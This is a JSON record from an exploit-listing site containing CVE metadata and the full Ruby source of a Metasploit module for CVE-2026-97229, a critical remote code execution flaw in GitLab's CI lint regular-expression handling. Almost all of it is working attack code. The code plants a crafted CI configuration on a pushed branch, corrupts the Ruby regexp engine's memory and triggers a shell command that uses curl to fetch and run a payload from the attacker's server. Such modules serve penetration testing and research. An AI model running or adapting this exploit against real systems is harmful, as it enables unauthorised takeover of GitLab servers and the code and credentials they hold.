{"exploit":{"id":"MSF-multi--http--gitlab_cicd_regexp_rce_cve_2026_97229","name":"GitLab CI/CD RegExp Integer Overflow Remote Code Execution","description":"This module exploits an integer overflow in the Ruby regular expression compiler through GitLab's CI lint API. An attacker with credentials for a user who can push to a public project plants a crafted CI configuration and repository path. An unauthenticated CI lint request then compiles the expression and executes a command as the GitLab git account. The module selects the native pcode and libruby layout for affected official GitLab CE and EE Docker images on Linux amd64. Each attempt allocates slightly more than 2 GiB and crashes a Puma worker after execution. GitLab 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 are affected. The official 19.3.4 package already contains the Ruby overflow fix and is not supported. Rebuilt packages and source installations may require different native layouts.","cves":["CVE-2026-97229"],"author":"joaxcar, Jonah Burgess, jheysel-r7","published":"2026-10-12","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/gitlab_cicd_regexp_rce_cve_2026_97229.rb","path":"modules/exploits/multi/http/gitlab_cicd_regexp_rce_cve_2026_97229.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"gitlab_cicd_regexp_rce_cve_2026_97229.rb","vulnerabilities":[{"id":"CVE-2026-97229","state":"PUBLISHED","title":"Integer Overflow or Wraparound in GitLab","titleSource":"CVE Program","description":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-97229","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GitLab","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-97229"},"updatedAt":"2026-10-30T23:18:16.598Z","retrievedAt":"2026-11-25T16:13:33.698Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--gitlab_cicd_regexp_rce_cve_2026_97229.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--gitlab_cicd_regexp_rce_cve_2026_97229","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--gitlab_cicd_regexp_rce_cve_2026_97229/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--gitlab_cicd_regexp_rce_cve_2026_97229/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::Remote::HTTP::Gitlab\n  include Msf::Exploit::Retry\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  # Fixed-width command slot in the subject's forged Onigmo stack data. Two more\n  # bytes (\" #\") make the shell ignore the binary OP_CALL and its operand.\n  COMMAND_SIZE = 28\n\n  # Native UTF-8 size of the lookbehind assembled in build_exploit, excluding OP_END.\n  # These values and the stages below come from the original PoC:\n  # https://github.com/jburgess-r7/CVE-2026-97229-PoC/blob/main/poc.py\n  TARGET_BYTECODE_SIZE = 37_151\n  # OP_CALL addresses are relative to reg->p. The PoC's calibrated destination\n  # reaches stage 3's bitmap at 16,866,665: 454 lookbehind-sized strides plus a\n  # 111-byte adjustment for the pcode layout. Recalculate if the pattern changes.\n  CALL_OFFSET = TARGET_BYTECODE_SIZE * 454 + 111\n\n  # Instructions are hidden in character-class bitmaps, then executed after the\n  # compiler's signed branch displacement overflows. Operands are little-endian:\n  # capture numbers occupy 2 bytes; lengths and jump displacements occupy 4 bytes.\n  # OP_MEMORY_END writes the current subject pointer to mem_end_stk[index]. The\n  # deliberately out-of-bounds capture numbers alias native match_at stack locals\n  # in the supported builds; they are not real captures in the expression.\n  # Opcode behavior: https://github.com/ruby/ruby/blob/v3_3_8/regexec.c\n  STAGES = [\n    # Stage 0: PUSH_POS (0x4c) saves the subject position; ANYCHAR_STAR (0x18)\n    # scans to the end; LOOK_BEHIND (0x52), 5 moves back five UTF-8 characters;\n    # MEMORY_END (0x39), 2 saves that position; JUMP (0x3d), +18 enters stage 1\n    # by skipping 17 unused bitmap bytes and the next class's one-byte opcode.\n    [0x4c, 0x18, 0x52, 5, 0, 0, 0, 0x39, 2, 0, 0x3d, 18, 0, 0, 0, 0],\n    # Stage 1: MEMORY_END(1001 = 0x03e9) overwrites stk_end; POP_POS (0x4d)\n    # restores the saved position; MEMORY_END(1000 = 0x03e8) overwrites stk.\n    # ANYCHAR_ML_STAR_PEEK_NEXT (0x1b), '@' (0x40) scans with backtracking\n    # positions at that marker; EXACT1 (0x02), '@' consumes it. JUMP +17 enters\n    # stage 2 by skipping 16 unused bitmap bytes and the next class opcode.\n    [0x39, 0xe9, 3, 0x4d, 0x39, 0xe8, 3, 0x1b, 0x40, 2, 0x40, 0x3d, 17, 0, 0, 0],\n    # Stage 2: MEMORY_END(1026 = 0x0402) aliases another native stack slot;\n    # MEMORY_START_PUSH (0x36), 10 writes a capture frame through the redirected\n    # stk; MEMORY_END(1000) pivots stk again. FAIL (0x3c) unwinds into the fake\n    # frame in the subject, where OP_CALL transfers execution to stage 3.\n    [0x39, 2, 4, 0x36, 10, 0, 0x39, 0xe8, 3, 0x3c]\n  ].freeze\n\n  PCODE_LAYOUTS = {\n    legacy: {\n      name: 'legacy Ruby 3.3 native',\n      # FinishCode 0x486da9 -> rb_vm_bugreport system call site 0x31ee29.\n      # Count UTF-8 character boundaries, not the difference between addresses:\n      # LOOK_BEHIND uses the encoding's step-back routine on native library bytes.\n      system_step_count: 1_249_885\n    },\n    updated: {\n      name: 'updated Ruby 3.3 native',\n      # GitLab 19.4.1: FinishCode 0x4885a9 -> system call site 0x31e809.\n      system_step_count: 1_256_138\n    }\n  }.freeze\n\n  VERSION_LAYOUTS = [\n    ['19.2', '19.2.8', :legacy],\n    ['19.3', '19.3.4', :legacy],\n    ['19.4', '19.4.1', :legacy],\n    ['19.4.1', '19.4.2', :updated]\n  ].freeze\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GitLab CI/CD RegExp Integer Overflow Remote Code Execution',\n        'Description' => %q{\n          This module exploits an integer overflow in the Ruby regular expression compiler through\n          GitLab's CI lint API. An attacker with credentials for a user who can push to a public\n          project plants a crafted CI configuration and repository path. An unauthenticated CI\n          lint request then compiles the expression and executes a command as the GitLab git account.\n\n          The module selects the native pcode and libruby layout for affected official GitLab CE\n          and EE Docker images on Linux amd64. Each attempt allocates slightly more than 2 GiB and crashes a\n          Puma worker after execution. GitLab 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4\n          before 19.4.2 are affected.\n\n          The official 19.3.4 package already contains the Ruby overflow fix and is not supported.\n          Rebuilt packages and source installations may require different native layouts.\n        },\n        'Author' => [\n          'joaxcar', # Vulnerability discovery\n          'Jonah Burgess', # Original PoC\n          'jheysel-r7' # Msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-97229'],\n          ['URL', 'https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/'],\n          ['URL', 'https://github.com/jburgess-r7/CVE-2026-97229-PoC']\n        ],\n        'Privileged' => false,\n        'Platform' => 'linux',\n        'Arch' => ARCH_CMD,\n        'Targets' => [['Automatic', {}]],\n        'DefaultOptions' => {\n          'RPORT' => 80,\n          'WfsDelay' => 60,\n          'FETCH_COMMAND' => 'CURL',\n          'FETCH_PIPE' => true,\n          'FETCH_SRVPORT' => 80,\n          # FETCH_URIPATH names the pipe endpoint; FETCH_FILENAME names the binary.\n          'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1),\n          'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1)\n        },\n        'DisclosureDate' => '2026-10-12',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_RESTARTS],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('USERNAME', [true, 'The username to authenticate as']),\n      OptString.new('PASSWORD', [true, 'The password for the specified username']),\n      OptString.new('PROJECT', [true, 'Numeric ID or namespace/path of a public project writable by USERNAME']),\n      OptInt.new('TIMEOUT', [true, 'CI lint request timeout in seconds', 60])\n    ])\n    register_advanced_options([\n      OptInt.new('BranchCleanupTimeout', [true, 'Seconds to retry payload branch cleanup while a Puma worker restarts', 30])\n    ])\n  end\n\n  def check\n    version = authenticated_version\n    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])\n\n    return CheckCode::Safe(\"GitLab #{version} is not affected\") unless vulnerable_version?(version)\n\n    unless pcode_layout(version)\n      return CheckCode::Detected(\"GitLab #{version} matches the advisory range, but includes a packaged Ruby compiler with the overflow fix\")\n    end\n\n    report_gitlab_service(version.to_s)\n    CheckCode::Appears(\"GitLab #{version} appears affected\")\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e\n    elog('Authenticated GitLab version check failed', error: e)\n    CheckCode::Unknown(\"Authenticated GitLab version check failed: #{e.message}\")\n  end\n\n  def cleanup\n    cleanup_payload_branch\n    cleanup_access_token\n    cleanup_gitlab_session\n  ensure\n    super\n  end\n\n  def cleanup_payload_branch\n    return unless @branch && @project_id\n\n    branch = @branch\n    last_failure = nil\n    last_error = nil\n    result = retry_until_truthy(timeout: datastore['BranchCleanupTimeout']) do\n      res = gitlab_api_request(\n        method: 'DELETE',\n        path: \"projects/#{@project_id}/repository/branches/#{Rex::Text.uri_encode(branch, 'hex-all')}\"\n      )\n      case res&.code\n      when 204\n        :deleted\n      when 404\n        # The desired cleanup state is already present.\n        :absent\n      when nil, 429, 500..599\n        last_failure = res ? \"HTTP #{res.code}\" : 'no response'\n        vprint_status(\"Payload branch cleanup failed with #{last_failure}; retrying\")\n        false\n      else\n        # Authentication and other permanent client errors should not consume\n        # the retry window.\n        last_failure = \"HTTP #{res.code}\"\n        :failed\n      end\n    rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError,\n           Rex::ConnectionError,\n           Rex::TimeoutError => e\n      last_error = e\n      last_failure = e.message\n      vprint_status(\"Payload branch cleanup failed: #{e.message}; retrying\")\n      false\n    end\n    if %i[deleted absent].include?(result)\n      print_good(result == :deleted ? \"Deleted payload branch #{branch}\" : \"Payload branch #{branch} no longer exists\")\n      @branch = nil\n      @project_id = nil\n      return\n    end\n    elog('Payload branch cleanup failed', error: last_error) if last_error\n    print_warning(\"Unable to delete payload branch #{branch}; remove it manually: #{last_failure || 'cleanup timed out'}\")\n  end\n\n  def cleanup_access_token\n    return unless @access_token\n\n    gitlab_revoke_personal_access_token(@access_token)\n    @access_token = nil\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e\n    elog('Personal access token cleanup failed', error: e)\n    print_warning(\"Unable to revoke the temporary personal access token; revoke it manually: #{e.message}\")\n  end\n\n  def cleanup_gitlab_session\n    gitlab_sign_out if @authenticated\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e\n    elog('GitLab sign-out failed', error: e)\n    print_warning(\"Unable to sign out of GitLab: #{e.message}\")\n  ensure\n    @authenticated = false\n    @authenticated_version = nil\n    cookie_jar.clear\n  end\n\n  def exploit\n    version = authenticated_version\n    unless vulnerable_version?(version)\n      fail_with(Failure::NotVulnerable, \"GitLab #{version} is not affected\")\n    end\n    layout = pcode_layout(version)\n    unless layout\n      fail_with(Failure::NoTarget, \"GitLab #{version} has no supported native pcode layout; the official 19.3.4 package contains the Ruby overflow fix\")\n    end\n\n    print_status(\"Using the #{layout[:name]} pcode layout for GitLab #{version}\")\n\n    pattern, payload_path = build_exploit(fetch_command, layout)\n\n    @access_token = gitlab_create_personal_access_token\n    fail_with(Failure::NoAccess, 'Unable to create a temporary personal access token') unless @access_token\n\n    project = gitlab_project\n    @project_id = project['id']\n    fail_with(Failure::BadConfig, 'PROJECT must be public') unless project['visibility'] == 'public'\n    fail_with(Failure::BadConfig, 'PROJECT must have an initialized default branch') if project['default_branch'].blank?\n\n    @branch = Rex::Text.rand_text_alpha_lower(12)\n    benign_path = \"#{Rex::Text.rand_text_alpha_lower(12)}.yml\"\n    actions = [\n      {\n        'action' => repository_file_exists?('.gitlab-ci.yml', project['default_branch']) ? 'update' : 'create',\n        'file_path' => '.gitlab-ci.yml',\n        'content' => ci_configuration(pattern, benign_path)\n      },\n      {\n        'action' => 'create',\n        'file_path' => benign_path,\n        'content' => \"included:\\n  script: ':'\\n\"\n      },\n      {\n        'action' => 'create',\n        'file_path' => payload_path,\n        'content' => ''\n      }\n    ]\n\n    print_status(\"Creating payload branch #{@branch}\")\n    res = gitlab_api_request(\n      method: 'POST',\n      path: \"projects/#{project_api_path}/repository/commits\",\n      data: {\n        'branch' => @branch,\n        'start_branch' => project['default_branch'],\n        'commit_message' => Rex::Text.rand_text_alpha(12),\n        'actions' => actions\n      }\n    )\n    unless res&.code == 201\n      reason = res&.get_json_document&.dig('message') || \"HTTP #{res&.code || 'timeout'}\"\n      fail_with(Failure::UnexpectedReply, \"Unable to create payload commit: #{reason}\")\n    end\n\n    print_status('Triggering unauthenticated CI lint request')\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api', 'v4', 'projects', project_api_path, 'ci', 'lint'),\n        'cookie' => '',\n        'vars_get' => { 'content_ref' => @branch }\n      },\n      datastore['TIMEOUT']\n    )\n    print_warning('The target stopped responding after payload delivery') unless res\n    print_warning(\"CI lint returned HTTP #{res.code}; expected HTTP 502 after the Puma worker exits. Patched targets commonly return HTTP 200\") if res && res.code != 502\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError => e\n    fail_with(Failure::NoAccess, e.message)\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::RequestTimeoutError => e\n    fail_with(Failure::TimeoutExpired, e.message)\n  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e\n    fail_with(Failure::UnexpectedReply, e.message)\n  rescue Rex::TimeoutError => e\n    fail_with(Failure::TimeoutExpired, \"GitLab request timed out: #{e.message}\")\n  rescue Rex::ConnectionError => e\n    fail_with(Failure::Unreachable, \"Unable to connect to GitLab: #{e.message}\")\n  end\n\n  def authenticated_version\n    return @authenticated_version if @authenticated && @authenticated_version\n\n    unless @authenticated\n      @authenticated = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']).present?\n      raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError unless @authenticated\n    end\n\n    version_string = gitlab_version_rest\n    unless version_string.present?\n      raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError.new(message: 'Unable to identify the exact GitLab version')\n    end\n\n    @authenticated_version = Rex::Version.new(version_string)\n  end\n\n  def is_payload_compatible?(payload_name)\n    payload_name.start_with?('cmd/linux/http/x64/') && super\n  end\n\n  def fetch_command\n    unless datastore['FETCH_PIPE'] && datastore['FETCH_COMMAND'] == 'CURL'\n      fail_with(Failure::BadConfig, 'Use FETCH_PIPE true and FETCH_COMMAND CURL for the 28-byte command slot')\n    end\n\n    # Keep the fetch adapter's server, resource path and command. curl can infer\n    # HTTP without a scheme, and -s only suppresses progress output. Omitting both\n    # saves 10 bytes. Drop the default port too, without changing other ports.\n    # Space is checked after shortening, rather than rejecting the longer encoded\n    # payload during generation with Payload['Space'].\n    payload.encoded.sub('curl -s http://', 'curl ').sub(%r{:80/}, '/')\n  end\n\n  def gitlab_api_request(method:, path:, data: nil, vars_get: nil)\n    options = {\n      'method' => method,\n      'uri' => normalize_uri(target_uri.path, 'api', 'v4', path),\n      'headers' => { 'PRIVATE-TOKEN' => @access_token }\n    }\n    options['vars_get'] = vars_get if vars_get\n    if data\n      options['ctype'] = 'application/json'\n      options['data'] = JSON.generate(data, ascii_only: true)\n    end\n    send_request_cgi(options)\n  end\n\n  def gitlab_project\n    res = gitlab_api_request(method: 'GET', path: \"projects/#{project_api_path}\")\n    fail_with(Failure::Unreachable, 'GitLab did not respond while looking up PROJECT') unless res\n    fail_with(Failure::NoAccess, 'PROJECT does not exist or USERNAME cannot access it (HTTP 404)') if res.code == 404\n    fail_with(Failure::NoAccess, \"GitLab rejected the PROJECT lookup (HTTP #{res.code}); verify USERNAME has project access\") if [401, 403].include?(res.code)\n    fail_with(Failure::UnexpectedReply, \"Unable to look up PROJECT: expected HTTP 200, received HTTP #{res.code}\") unless res.code == 200\n\n    project = res.get_json_document\n    unless project.is_a?(Hash) && project['id'].present? && project['visibility'].present? && project.key?('default_branch')\n      fail_with(Failure::UnexpectedReply, 'GitLab returned an invalid project document while looking up PROJECT')\n    end\n\n    project\n  end\n\n  def repository_file_exists?(path, ref)\n    res = gitlab_api_request(\n      method: 'GET',\n      path: \"projects/#{project_api_path}/repository/files/#{Rex::Text.uri_encode(path, 'hex-all')}\",\n      vars_get: { 'ref' => ref }\n    )\n    return true if res&.code == 200\n    return false if res&.code == 404\n\n    fail_with(Failure::UnexpectedReply, \"Unable to inspect repository file #{path}\")\n  end\n\n  def vulnerable_version?(version)\n    [\n      [Rex::Version.new('19.2'), Rex::Version.new('19.2.8')],\n      [Rex::Version.new('19.3'), Rex::Version.new('19.3.5')],\n      [Rex::Version.new('19.4'), Rex::Version.new('19.4.2')]\n    ].any? { |affected_low, fixed_version| affected_low <= version && version < fixed_version }\n  end\n\n  def pcode_layout(version)\n    version_layout = VERSION_LAYOUTS.find do |minimum, maximum, _layout|\n      Rex::Version.new(minimum) <= version && version < Rex::Version.new(maximum)\n    end\n\n    PCODE_LAYOUTS[version_layout&.last]\n  end\n\n  def project_api_path\n    # PROJECT occupies one API path segment, including when it is namespace/name.\n    Rex::Text.uri_encode(datastore['PROJECT'], 'hex-all')\n  end\n\n  def ci_configuration(pattern, benign_path)\n    \"include:\\n  - local: '/#{benign_path}'\\n    rules:\\n      - exists:\\n          regexp: #{JSON.generate(pattern)}\\nbase:\\n  script: ':'\\n\"\n  end\n\n  def build_exploit(command, pcode_layout)\n    if command.bytesize > COMMAND_SIZE\n      fail_with(Failure::BadConfig, \"Fetch command is #{command.bytesize} bytes; the maximum is #{COMMAND_SIZE}. Use a shorter FETCH_SRVHOST, FETCH_SRVPORT or FETCH_URIPATH\")\n    end\n\n    # Stage 3 starts from the interpreter's existing FinishCode pointer, avoiding\n    # an absolute ASLR address. LOOK_BEHIND walks system_step_count UTF-8 boundaries\n    # backwards through libruby; MEMORY_END(1029 = 0x0405) overwrites the saved\n    # return target with the resulting system call site. 'V' packs its 32-bit\n    # unsigned operand in the byte order used by the Linux amd64 Onigmo build.\n    stages = STAGES + [[0x52, *[pcode_layout[:system_step_count]].pack('V').bytes, 0x39, 5, 4]]\n\n    # A class bitmap doubles as VM instructions. Pick a printable character whose\n    # membership bit is set so the same bytes also pass normal class matching.\n    # byte = codepoint / 8; bit = codepoint % 8. Search ASCII '0' through 'z';\n    # Both native layouts have a member in that interval; '~' is the PoC fallback.\n    triggers = stages.map do |stage|\n      (48...123).find { |codepoint| stage[codepoint / 8] & (1 << (codepoint % 8)) != 0 } || 126\n    end.map(&:chr).join\n\n    # Keep seven single-byte letters and four trigger characters. Random letters\n    # preserve the compiled length and offsets while varying the repository path.\n    # Seven empty capture alternatives establish the capture/stack layout; eight\n    # \\K operations preserve the PoC's keep-position and bytecode arrangement.\n    literal_prefix = Rex::Text.rand_text_alpha_lower(7) + triggers\n    prefix = literal_prefix + '(|)' * 7 + '\\\\K' * 8\n\n    # Six word classes become large Unicode character tables when this ASCII\n    # regexp is recompiled against the UTF-8 path. GitLab validates the smaller\n    # US-ASCII program first; this later encoding conversion bypasses that size\n    # check. Each following class encodes one stage in its bitmap.\n    target_pattern = '(?<=' + '[[:word:]]' * 6 + stages.map { |stage| character_class(stage) }.join + ')'\n\n    # Ceiling division of signed 32-bit INT_MAX by one lookbehind's native size:\n    # ceil(2,147,483,647 / 37,151) = 57,805. Expanding the repeat produces\n    # 2,147,513,555 bytes (0x800074d3), overflowing the compiler's signed int\n    # size/displacement arithmetic. In compile_quantifier_node the int product\n    # (tlen + SIZE_OP_PUSH) * upper also wraps negative, passing the <= 50-byte\n    # expansion limit and selecting inline copies instead of a bounded repeat.\n    # A wrapped branch then enters a stage bitmap. The Ruby implementation is at:\n    # https://github.com/ruby/ruby/blob/v3_3_8/regcomp.c\n    digits = ((0x7fff_ffff + TARGET_BYTECODE_SIZE - 1) / TARGET_BYTECODE_SIZE).to_s\n\n    # Onigmo ignores the inline (?#) comment inside {5(?#)7805}, but GitLab's\n    # repeat scanner does not recognize it as {57805}. The atomic alternative\n    # (?>...|) supplies the overflowing branch. \\A fixes the starting position;\n    # contradictory \\b\\B assertions force failure/backtracking through the frame.\n    pattern = \"\\\\A(?>#{prefix}(?:#{target_pattern}){#{digits[0]}(?#)#{digits[1..]}}|)\\\\b\\\\B\"\n\n    # Keep the command/fake-frame boundary fixed regardless of command length.\n    # The shell comment consumes the binary suffix when the gadget runs system.\n    shell_text = command.b.ljust(COMMAND_SIZE) + ' #'.b\n\n    # U+10400 is a word character encoded as four UTF-8 bytes (f0 90 90 80).\n    # Fifteen copies make character-counted lookbehind and byte-addressed stack\n    # operations land at the calibrated positions. The three 'A' bytes preserve\n    # the fake frame's padding; '@' is the sentinel scanned by stage 1. These\n    # lengths and bytes affect the pivot and cannot be randomized independently.\n    # 0x58 is OP_CALL; 'CV' writes its one-byte opcode and 32-bit absolute pcode\n    # offset. It transfers control from the subject back to stage 3's bitmap.\n    subject = literal_prefix.b + \"\\u{10400}\".b * 15 + 'AAA@'.b + shell_text + [0x58, CALL_OFFSET].pack('CV')\n    subject.force_encoding(::Encoding::UTF_8)\n    fail_with(Failure::BadConfig, 'Generated path has invalid UTF-8') unless subject.valid_encoding?\n\n    [pattern, subject]\n  end\n\n  def character_class(payload)\n    # Onigmo compiles a single-byte class into a 256-bit (32-byte) membership\n    # bitmap. Only the lower 128 bits carry code here: limiting members to ASCII\n    # leaves the upper 16 bytes zero and avoids multibyte class representations.\n    # Pad the instruction bytes to 16, then invert bitmap generation: set bit n\n    # becomes member codepoint n. Compiling that class recreates the stage bytes.\n    bits = payload + [0] * (16 - payload.length)\n    codepoints = bits.each_with_index.flat_map do |byte, byte_index|\n      (0...8).filter_map { |bit| byte_index * 8 + bit if byte & (1 << bit) != 0 }\n    end\n\n    # Minimize the source expression to fit GitLab's 255-character regexp limit.\n    # ']' can be literal first in a class and '-' literal last. Try all four\n    # placements and keep the shortest equivalent spelling; membership and native\n    # bitmap bytes remain identical regardless of the textual representation.\n    candidates = [false, true].product([false, true]).filter_map do |move_hyphen, move_bracket|\n      next if move_hyphen && !codepoints.include?(45)\n      next if move_bracket && !codepoints.include?(93)\n\n      remaining = codepoints.reject { |codepoint| (move_hyphen && codepoint == 45) || (move_bracket && codepoint == 93) }\n      # Consecutive members can be represented as ranges. Three or more members\n      # justify a range; shorter runs are emitted as individual escaped literals.\n      groups = remaining.each_with_object([]) do |codepoint, result|\n        if result.any? && codepoint == result.last.last + 1\n          result.last << codepoint\n        else\n          result << [codepoint]\n        end\n      end\n      encoded = groups.map do |group|\n        group.length >= 3 ? \"#{escape_codepoint(group.first)}-#{escape_codepoint(group.last)}\" : group.map { |codepoint| escape_codepoint(codepoint) }.join\n      end.join\n      \"[#{move_bracket ? ']' : ''}#{encoded}#{move_hyphen ? '-' : ''}]\"\n    end\n\n    candidates.min_by(&:length)\n  end\n\n  def escape_codepoint(codepoint)\n    character = codepoint.chr\n    # A literal NUL uses one regexp source character; JSON.generate serializes it\n    # safely into the YAML configuration. This NUL is not in the repository path.\n    return \"\\0\" if codepoint.zero?\n    # Escape class metacharacters; keep ASCII literal where possible to save\n    # source length. Hex escapes preserve all other membership bits exactly.\n    return character if codepoint.between?(1, 126) && !'-\\\\[]'.include?(character)\n    return \"\\\\#{character}\" if '-\\\\[]'.include?(character)\n\n    format('\\\\x%02x', codepoint)\n  end\nend\n","sha256":"ed20ffd00dcf24ee12803754a2a7ffa8037c60f0cda1d2d3f0664210403eeb7b","bytes":24113,"fetchedAt":"2026-11-25T16:31:00.241Z","encoding":"utf-8 (display only; download retains original bytes)"}